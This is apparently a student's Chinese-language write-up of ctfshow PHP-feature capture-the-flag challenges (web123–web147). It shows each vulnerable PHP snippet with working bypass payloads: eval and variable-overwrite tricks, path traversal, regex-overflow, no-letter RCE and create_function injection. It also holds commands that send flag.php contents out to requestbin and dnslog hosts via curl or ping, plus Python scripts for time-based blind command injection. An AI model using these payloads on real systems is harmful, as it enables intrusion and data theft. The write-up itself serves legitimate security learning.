ctfshow-php特性(web123-web150plus)
web123
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
按照要求CTF_SHOW和CTF_SHOW.COM 不能为空
于是post传参
CTF_SHOW=1&CTF_SHOW.COM=2
但是
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格(有的时候可以用+表示)、点、[ 则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
于是变为了CTF_SHOW=1&CTF[SHOW.COM=2
$c=$_post['fun']
fun为phpinfo() 不输出就是没执行phpinfo() 不知道什么原因 试试echo
CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo 1 成功输出
那直接echo $flag即可
第二种方法
implode(get_defined_vars())
知识点:
1 如果一个变量为空 他不小于任何数
2 字符串与整数比较的时候 首先转换类型 整数和字符串比较 如果字符串首位不为数字 自会转换为0 字符串与字符串比较会逐个比较ascii
3
使用传参传一个变量也是这个意思(?a=$b=1 这个传变量我测试了一下 感觉不对啊)
我就是举个例子和这道题没关
这个只是点有问题 记住这个问题就行 有异议 我说的不对 通过post应该无法给get的参数传值
太乱了反正就是经过我的测试 这第三个知识点全是错的 过了一个小时如果TZY=fun($_GET[1]) 这是个函数可以 但是需不需要eval 就不知道了
4 echo implode(get_included_files())
get_included_files() 返回目录下文件的路径 多个路径组成数组
implode函数将数组转换为字符串 从而可以让echo输出
getcwd 返回当前目录的绝对路径
get_defined_vars() 返回已有变量以及变量值组成的数组
5 eval 本质上是代码执行 所以就可以使用函数 然后使用echo输出返回值
web125
和上一题一样过滤了echo print var_dump等 输出 并且禁用了phpinfo() system()等函数
但是
第一种方法
var_export函数也能输出 和echo一个效果
第二种方法 高亮显示文件
GET:flag.php
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
第三种方法
extract($_POST)
函数会将$_POST
数组中的键值对解包为独立的变量,其中键名将成为变量名,键值将成为变量的值。CTF_SHOW=&CTF[SHOW.COM=&fun=extract($_POST)&fl0g=flag_give_me
web126
<?php highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
又禁用了|g|i|f|c|o|d/
本来想着
GET:a=flag_give_me
POST:&fun=extract($_GET);$fl0g=$a
但是他禁用了分号 并且禁用了很多字母
然后想着
GET:?a[fl0g]=flag_give_me
POST:&fun=extract($_GET[a])
但是他禁用了c
extract换成parse_str
GET:?a=fl0g=flag_give_me
POST:&fun=parse_str($_GET[a])
但是他禁用了g
怎么实现呢?这道题用到了$a=$_SERVER['argv'];
server中的argv就是一个数组 从而$a也是一个数组
数组里面是什么呢 举个例子
GET:?123+456+fl0g=flag_give_me(这里不知道为什么%20不行必须用+ 难道是容易和我们的结合起来服务器分不清?比如被服务器识别为%204)
POST:CTF[SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[2])
这个时候 $a[0]:123 $a[1]:456 $a[2]:fl0g=flag_give_me
+到服务器就变成了空格 可以理解+(空格)为分隔符
所以答案1为
GET:?123+456+fl0g=flag_give_me
POST:CTF[SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[2])
答案2为
GET:
?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
虽然assert()
函数用于检查一个表达式是否为真 但是一旦这个表达式为一个php语句 他也会执行答案3为
GET:
?$fl0g=flag_give_me;
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
注意哦eval里面的语句要用分号哦
web127
<?php error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING']; //特殊字符检测 function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } } if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); } if($ctf_show==='ilove36d'){ echo $flag; }
逻辑没难点主要就是 $_SERVER['QUERY_STRING']会获取到什么 搜索发现
$_SERVER['QUERY_STRING'] 的结果就是url问号后面的部分 那这道题就简单了
知识点:点和空格还有[ 在变量名中是不可以存在的 到服务器会自动转换为下划线
还有一点大概率前端GET和POST中的+到服务器中就变为了空格 这个不一定 记住了就行
答案:?ctf show=ilove36d
第一点 虽然变量名中的_并且过滤了+ [ . 但是用最原始的空格即可或者%20 就能得到一个_
第二点 $_SERVER['QUERY_STRING'];获取的查询语句是服务端还没url解码之前的字符串,所以对_进行一次url编码也能绕过。?ctf%5fshow=ilove36d
web128
<?php error_reporting(0); include("flag.php"); highlight_file(__FILE__); $f1 = $_GET['f1']; $f2 = $_GET['f2']; if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; } function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); } NULL
考察的知识点
- call_user_func($f1,$f2) 函数 执行后会得到$f1($f2) 如果$f2为空则$f1()
- 因为check函数过滤了数字和字母导致$f1变得不可控 知识点:gettext是php唯一有符号别名的函数别名为_
- _()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
- gettext函数的作用就是原封不动的返回参数
- get_defined_vars()函数返回所有已知的变量以及值 因为该文件已经包含了flag.php文件了$flag在本文件中也是能被get_defined_vars获取到的
所以答案为
?f1=_&f2=get_defined_vars
web129
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
考察知识点
stripos()函数查找子串在字符串中首次出现的位置 返回首个下标位置
stripos()
是大小写不敏感的readfile()函数 读取指定文件到缓冲区中 使用echo进行输出
方法一
我们构建一个目录穿越
先说答案?f=/ctfshow/../../../../var/www/html/flag.php 或者 ?f=../ctfshow/../../www/html/flag.php
解释其中一个?f=../ctfshow/../../www/html/flag.php
在上级目录中找一个ctfshow的目录下的上一级目录 依旧是原始的上一级目录也就是www下 再上一级目录中就有www了
方法二
使用过滤器 f变量直接获取flag.php内容 因为flag.php中存在ctfshow字符串所以也能绕过第二个if
然后readfile读取一下 再用echo输出
?f=php://filter/ctfshow/resource=flag.php
但是 这个过滤器加上一个base64编码 为什么能被输出出来 是被echo输出的嘛
本地测试一下加密的 发现两个echo输出的都是过滤器的原始样子 不知道怎么绕过if的 然后测试不加密的发现 虽然我们包含的web319.php中根本没有ctfshow 依旧能绕过if 并且注释echo语句 这个过滤器就没用了什么都不输出了 看来过滤器能绕过该if判断呀
web130
<?php error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); } echo $flag; }
知识点
preg_match('/.+?ctfshow/is', $f) 就是匹配ctfshow的字符串 并且在该字符串之前要匹配一个或任意一个字符因为.+的存在(其中
.
匹配除了换行符以外的任意字符,+
表示匹配一次或多次,?
表示非贪婪模式)这个非贪婪模式不用管所以答案就是?f=ctfshow
数组也能绕过 ?f[]=任意字符
说实话这个数组绕过搜索后也不是很明白 就算报错返回false 那false依旧等于false 能执行if语句呀 为什么会绕过呢 我的理解是stripos因为数组的原因直接报错使得if语句直接就为false 经过我的测试发现我的理解是正确的 测试是我把false换为true 能绕过 去除===判断 依旧也能绕过
网上还有一种解释stripos应用于数组的时候会返回null null!==false/true 但if(null)会被认为语句不成立
stripos 匹配到了返回下标 没匹配到返回false
0!==false
web131
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
加入了将post中f转换为字符串的步骤 导致不能用上一题的数组绕过if语句了
两个if逻辑
第一个 匹配到ctfshow且最前面有任意一个字符 就会结束脚本
第二个 匹配不到36Dctfshow就会结束脚本
这样这个逻辑就范冲突了
如果f=ctfshow36Dctfshow 虽然绕过了第二个 但是第一个if语句就不会绕过
不能用正常想法去做这题
使用正则溢出 简单理解就是preg_match() 这个函数一但匹配大量字符串 他就不进行匹配了 直接返回false
如果超过100万个字符就能绕过该函数的匹配 直接返回false
专业解释是正则匹配中对回溯数和嵌套数进行了最大限制。这道题用到了最大回溯数(必须使用非贪婪模式?)
写个生成100万字符的脚本
<?php
$a=str_repeat('show',25000);
$b=$a.'36Dctfshow';
echo $b;
然后提交
web132
是一个页面 直接看教程
访问robots.txt 当前目录下存在一个admin
题在这里呢
<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
知识点
mt_rand(1,0x36D) 会生成1-877的随机整数
这道题考察点事 逻辑运算的执行顺序
if (a && b || c)
如果a b都为假 c为真 if语句也为真 因为有先后逻辑运算顺序
过程: a&&b=假 假||真=真
所以只要传入code=admin username=admin 且password不为空即可
web133
<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
最终目的要执行eval(substr($F,0,6)) 所以要让substr($F,0,6)返回我们需要获取flag的语句
shell_exec()
函数的输出结果仅作为函数的返回值,因此除非将其打印出来或者对其进行处理,否则不会直接在浏览器中输出shell_exec()
函数和反引号``一个意思 flag.php是多行,需要grep一下,其次不能含有特殊符号,所以tr设置一下返回结果只携带字母和数字答案?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.rpmwj7.dnslog.cn -c 1
他截取完就变成了`$F`; == eval(shell_exec($F);)
因为$F 是`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.rpmwj7.dnslog.cn -c 1
所以就变成了
eval(shell_exec(`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.rpmwj7.dnslog.cn -c 1);)
但是不知道为什么我DNS没有外带出来和视频一模一样
这个
这个dnslog的问题 困扰了我和那就 现在是一个半月之后了
他截断 并且禁用了system 可以使用shell_exec 但是该函数没有回显 就使用外带
这回没用dnslog 使用其他的两种方法 一种是vps 一种是requestbin
这里有个很关键的问题使用这两种方法的时候 一次只能外带出一行数据 如果超过一行 什么数据都带不出来了
首先是requestbin方式外带
网站为:requestbin
先点击绿色的
显示了很多用法
我们不需要 直接使用curl http://requestbin.cn:80/1ddijp01 即可
本地尝试一下
刷新那个网站 就能获取到id=123 这个url中的 内容 这种方式其实是最简单的 使用vps监听也能达到该效果
演示结束
解释一下payload 这里面的+换成空格也可以 反正 不能和;挨着 跟截取6个字符有关 但是我感觉没啥影响呀 就算是挨着截取了 也没关系呀 难道是因为可能会报错?
过了一天发现应该就是报错所以第六个位置要用空格 例如 在php中 phpinfo();可以
phpinfo();q 就会报错虽然phpinfo依旧能执行 但是题目中使用嵌套 也就是说第一次的phpinfo是可以执行的 但是第二次是不可以执行的
?F=`$F`;+curl http://requestbin.cn:80/vjuniyvj?p=`cat flag.php|grep flag`
这个顺序其实是我理解的 可能不对 但是基本是对的
?F=`$F`;+curl http://requestbin.cn:80/vjuniyvj?p=`cat flag.php|grep flag`
截取变为
`$F`;+
继续执行变为
``$F`;+curl http://requestbin.cn:80/vjuniyvj?p=`cat flag.php|grep flag``;+
然后 继续执行
首先执行分号前 先替换 执行分号后curl语句现在上面这一整句都在eval中 这个时候 按顺序先执行红色的 红色的执行完(依旧是替换)后 执行橙色的 进行curl执行 到达p=后 识别出``然后执行cat语句 这个时候必须在cat前后加入反引号 能成功识别为这是一个shell语句 否则?p获取的是字符串cat
查看flag 必须使用grep一行一行输出
第二种方法vps 同理
vps也分两种 一种获取值 第二种方法监听端口
第一种监听端口
第二种获取值 curl.php文件内容接收值
还有第三种方法 python脚本爆破
import requests import time as t # as重命名 url = 'http://1264c730-93a0-4f72-b5ee-103978fbc19f.challenge.ctf.show/?F=`$F%20`;' alphabet = ['{','}', '.', '@', '-','_','=','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9'] result = '' # 结果集 for i in range(1,50): #位置的第几位 for char in alphabet: #某位置的字符是什么 # 终于知道为什么 明明知道flag名字为什么还要这么写 这么写可以一个一个判断字符是什么 因为没有回显 只能延时判断 payload = "if [ `ls | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.php # payload = "if [ `cat flag.php | grep 'flag' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) try: start = int(t.time()) r = requests.get(url+payload) end = int(t.time()) - start if end >= 3: result += char print("Flag: "+result) break except Exception as e: print(e)
群主师傅的方法 dnslog 我的dnslog不行 大概原因是dnslog本身的dns设置 给我映射到本地127了 使用requestbin即可
以上所有外带方法获取值的时候大括号这个特殊符号获取不到 过了十分钟后 我发现为啥有些字符获取不到了 某些个别字符在url中是不解析的 比如大括号 也就是说 他确实是获取到了大括号 但是通过url传过来的时候 要输出的时候不会讲该字符进行输出
web134
<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
答案 ?_POST[key1]=36d&_POST[key2]=36d
解释:考察: php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。 所以payload: ?_POST[key1]=36d&_POST[key2]=36d
web135
133加强版
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
第一种
不用base64不行 当时不知道为什么 解码后发现是因为flag有两行 不是一行 超过一行带不出来数据
就算用base64 也会发现解码后不是完整的flag 数据也没带全这时 修改grepflag2即可
而且我发现如果不使用grep 确实能带出来 但是带出来的字节数应该有限制(记住限制就行)
这里面过滤很多 只用'' "" / 都可以绕过限制
?F=`$F`; cur\l http://requestbin.cn:80/19wya6l1?p=`c\at flag.php|g\rep flag|b\ase64`
第二种
?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;
第三种 群主大佬 依旧使用的是dnslog
这里说一下如果使用dnslog 一定要使用tr去除一下非法字符 在二级域名的位置如果有非法字符带不出来数据 但是使用requestbin的时候 虽然也是url的非法字符 但是其余字符都是可以带出来的
web136
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
又是一个无回显的命令执行exec
使用ls / | tee 1 能将ls输出的内容 写入1文件中 访问1就能下载该文件
发现有个f149_15_h3r3文件
?c=cat /f149_15_h3r3 | tee 2 访问2 下载查看 出现flag
web137
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
一个魔术方法 一个静态方法(不用实例化就能调用)
不用实例化直接用类访问方法的格式为 类名::方法名
所以单位ctfshow=ctfshow::getFlag
web138
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
在上一题的基础了过滤了:冒号 另一种不需要实例化就能调用类方法的方式是
ctfshow[0]=ctfshow&ctfshow[1]=getFlag 就能演变成ctfshow.getFlag()
web139
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
过滤了太多 和web136一模一样 但是用136的方法做不出来 估计是服务器给限制了 教程说需要命令盲注 exec是一个无回显的命令执行
利用web136的方法不行,没有写入权限了。?c=ls;sleep 3
确实等待了一会,可以执行,没有回显,命令盲注。
这个命令盲注就比较麻烦,因为限制了一些特殊字符,所以盲注的payload也需要注意
获取当前目录下文件名的python脚本(因为用到延迟函数 所以受网咯波动影响 多尝试几次 以防结果有问题)
import requests
# 指定提交的url
url = "http://5d6d11e6-5ef5-4602-b63c-6606b218cb3e.challenge.ctf.show/?c="
# 定义一个payload
payload= "if [ `ls / -1 | awk \"NR=={}\" | cut -c {}` == \"{}\" ];then sleep 4;fi "
# 定义一个字典
strings = "1234567890abcdefghijklmnopqrstuvwxyz_-}{"
row=5 # 控制哪一行的 会取 第一行 第二行 第三行
length = 10 # 控制长度的 每一行取几个字符
# 结果集合
result=""
# 三层循环 第一层控制行 第二层 控制位 第三层控制比较的字符
for r in range(1,row):
for l in range(1,length):
for s in strings:
tj = url+payload.format(r,l,s)
# 如果 提交的payload 延迟超过三秒 把当前字符加入到 结果集中 并退出当前比较字符的循环
try:
requests.get(tj,timeout=3)
except:
result+=s
print(result)
break
# 每一行比较完成获得结果后 在结果后加入空格 好区分
result+=" "
得出当前目录下的flag文件为2=f149_15_h3r3
payload解释 if [ `ls / -1 | awk \"NR=={}\" | cut -c {}` == \"{}\" ];then sleep 4;fi
这是一个shell格式的脚本
ls / -1 能将结果分行显示 awk \"NR=={}\" 能选择指定行数 cut -c {} 能选择指定位数
为什么用反引号呢 反引号意思等于shell_exec 可以完成shell语句 将结果返回给if函数
最终结果被反引号 `...` 包裹,表示将这些命令的输出作为条件
然后和指定字符比较 如果比较成功 延迟4s
获取指定文件内容的脚本
import requests
# 指定提交的url
url = "http://2650b538-28df-4bbc-b8e5-542516a1a49c.challenge.ctf.show/?c="
# 定义一个payload
payload= "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 5;fi "
# 定义一个字典 为了方便这个payload构造一个简单的
strings = "ctfshow123456789}{-abdeghijklonpqrtuvwxyz"
row=5 # 控制哪一行的 会取 第一行 第二行 第三行
length = 48 # 控制长度的 每一行取几个字符
# 结果集合
result=""
# 三层循环 第一层控制行 第二层 控制位 第三层控制比较的字符
for l in range(1,length):
for s in strings:
tj = url+payload.format(l,s)
# 如果 提交的payload 延迟超过三秒 把当前字符加入到 结果集中 并退出当前比较字符的循环
try:
requests.get(tj,timeout=4)
except:
result+=s
print(result)
break
# 每一行比较完成获得结果后 在结果后加入空格 好区分
result+=" "
第二个脚本 有时间都要分析一下脚本
import requests
url = 'http://e37a25ed-4427-4353-87d1-b421f8107792.challenge.ctf.show/?c='
payload = '''if [ `cat /f149_15_h3r3 | awk "NR=={}" | cut -c {}` == "{}" ];then sleep 5;fi'''
max_NR = 2 # 假设最多1行
max_c = 50 # 假设一行最多49个字符
chars = 'ctfshow{0123456789abcdefg-}' # 可能出现的字符
for NR in range(1, max_NR): # 从第一行开始
for c in range(1, max_c): # 从第一个字符开始
for char in chars:
try:
requests.get(url+payload.format(NR, c, char), timeout = 3) # 自动URL编码
except:
print(char, end = '') # 出现延迟输出字符
break
print()
这个flag前面基本没问题 最后两位获取的每次都不一样 难搞呀 过了一个月后继续尝试了一下 依旧不可以了 总有个别字符出问题 依旧是获取不到大括号 本来想着原因也是和133 135 一样 二级域名如果存在大括号根本带不出数据 但是url中存在大括号 大括号不会被输出出来 但是发现发现原因是因为
距离如果flag为ctfshow{123} {位置在8的位置 当l在8时 cut -c 8 的确获取到了{ 但是url中的if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 5;fi 在获取完{后 而 {在url中是非法字符 不显示 所以这个时候语句就为了if [ `cat /f149_15_h3r3 | cut -c 8` == ];then sleep 5;fi 所以就无法判断{是否存在
重新再说一下 就是if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 5;fi 语句是当做url带入到服务器中的 带入服务器前变为if [ `cat /f149_15_h3r3 | cut -c 8` == \"{\" ];then sleep 5;fi 但是通过url带入服务器后变味了if [ `cat /f149_15_h3r3 | cut -c 8` == \"\" ];then sleep 5;fi 大括号通过url后 因为是非法字符服务器不识别 直接就变没了 这个时候{和空比较 所以比较不成功
妈的真开心 4/1又过了5天上定制班课的时候 我用第二个脚本尝试了一下成功了 真他妈不容易呀
有时间要研究一下到底什么原因 难道是网速的原因 还是脚本本身的原因
web140
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
接收连个参数f1和f2 通过正则匹配 字符串只能是数字和字母组成的且开头和结尾都是数字或字母
变量code的值为 f1(f2())的返回值 有个if的判断条件 必须保证 intval($code)与ctfshow相等 这是一个弱类型的比较 当数字与字符串比较时 会将字符串转换为0 intval函数会将字符串转换为0
这样只要让$code为一个字符串即可 其实让intval函数返回0即可
答案
system(system())的返回值是NULL 通过intval函数 返回值就为0
system(phpinfo())也行 因为返回一个html的页面 开头肯定是一个< 通过整形转换也会变为0
usleep(usleep())无返回值 通过类型转换也是0
getdate(getdate())
getdate()返回结果是array,参数必须是int型。所以getdate(getdate())---->getdate(array型)--->失败返回flase,intval为0。
web141
<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
当传递一个值给 is_numeric()
函数时,它会判断该值是否可以被解释为数字。如果该值是数字或数字字符串(包括整数、浮点数或科学计数法表示的数值),则函数返回 true
,否则返回 false
。
正则 表示$3完全由非单词字符组成才可以进入if语句
^
表示字符串的开头。\W
表示非单词字符(即除了字母、数字和下划线之外的字符)。+
表示前面的模式可以出现一次或多次。$
表示字符串的结尾。
最后执行代码 $v1$v3$v2 然后返回回值给$code
也就说需要使用无字母RCE
本来想着说是使用下划线代表函数 但是下划线也不能被\w的正则匹配到 且还需要在环境中开启扩展 那就以飞字母数字以及下划线的字符构造字母
$v1$v2$v3
1+phpinfo()+1; 是可以运行的 因为是进行字符串构造 我们还需要改一下
1+('phpinfo')()+1 这里的phpinfo是字符串 上面的不是字符串 我们只能造出字符串所以用这种方式
就用位运算生成一个 phpinfo的字符串 这里+要变成- 因为+在传参的时候容易被编码为空格
变成1 ('phpinfo')() 1 是不行的 虽然$1$2为数字。但是1-('phpinfo')()-1可以
额外话为什么说异或后的GET不能被解析 但是测试时用的get能被解析
简单理解就是测试的时候 双引号里面是一个整体 里面的被执行 如果这时候
那就不行了 同理异或出来的就是字符串了
而且还有一个关键点就是有return eval里面的必须用双引号引起来 否则报错
代码流程就是 先通过return返回异或运算的结果 eval再去执行这个返回的结果 之所以能进行运算 就是因为return的原因(我测试过了)
web142
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
太简单 0*任何数都为0
传参?v1=0 echo输出的file函数获取的信息 在源码中能查看到(ai搜索说是如果在源码才能看到 输出的内容包含了 HTML 标签或特殊字符 导致浏览器将内容解析成了 HTML 标签而不是直接显示)
web143
141pro版本
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
直接用yu师傅写的脚本 即可 在php脚本中更改一下生成的要求即可
生成payload
经过测试有的时候这个十六进制的可以不加引号 最好加上双引号以防报错
要记住减号换位乘号 因为在这题中过滤了减号
web144
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
使用check函数判断v3 必须让v3的字符串长度等于1才可以
对v2进行了严格匹配
那v1=1 v3=-即可 v2依旧使用执行2(同样也是异或方式)的脚本生成payload(yu师傅的php脚本总感觉哪里有问题 有的时候好事有的时候不好使 python脚本没问题 等有时间了再看看 分析一波)
得到flag
web145
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
144的plus版本
加减乘除全屏蔽了 以及异或^也被屏蔽了
加减乘除可以用三元运算?:
不使用异或的运算 使用取反
使用yu师傅脚本也可以
web146
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
三目运算符也不行了 用|符号也是可以的或运算符号
运算使用|也是可以的
web147
<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
这里说一下突然想起来的随便举个例子比如题中所说$ctfshow 如果ctfshow值为phpinfo(); 因为是字符串 不能执行 必须前面是eval才可以 eval('传的值') 这样才可以 重新说一下 传值都是字符串 但是'phpinfo'()可以 'phpinfo()'不可以(我本地试了 这是在本地的解释)
回到题中 匹配a-z0-9_开头结尾的任意多的字符 在php中 函数以及类都在这个\命名空间里面
例如正常些 echo可以 \echo也是可以的
然后正常函数一般没有两个参数 使用create_function这个构建匿名函数的函数 第一个参数为函数的参数 第二个参数为函数的函数体
比如
根据这道题第一个参数为空 也就代表无参也不报错 使用}封闭if语句传入phpinfo;/*使用注释注释后面的
这个时候我就有点蒙了 我这样可以 那为什么
我直接传?\phpinfo();}/* 就不能执行phpinfo 我记得之前练习的时候通过get直接传了phpinfo();可以呀 而且在上面我说了'phpinfo'() 可以 'phpinfo()' 不可以 为什么get传过来的phpinfo();字符串可以呢 因为前面有个eval!!!!
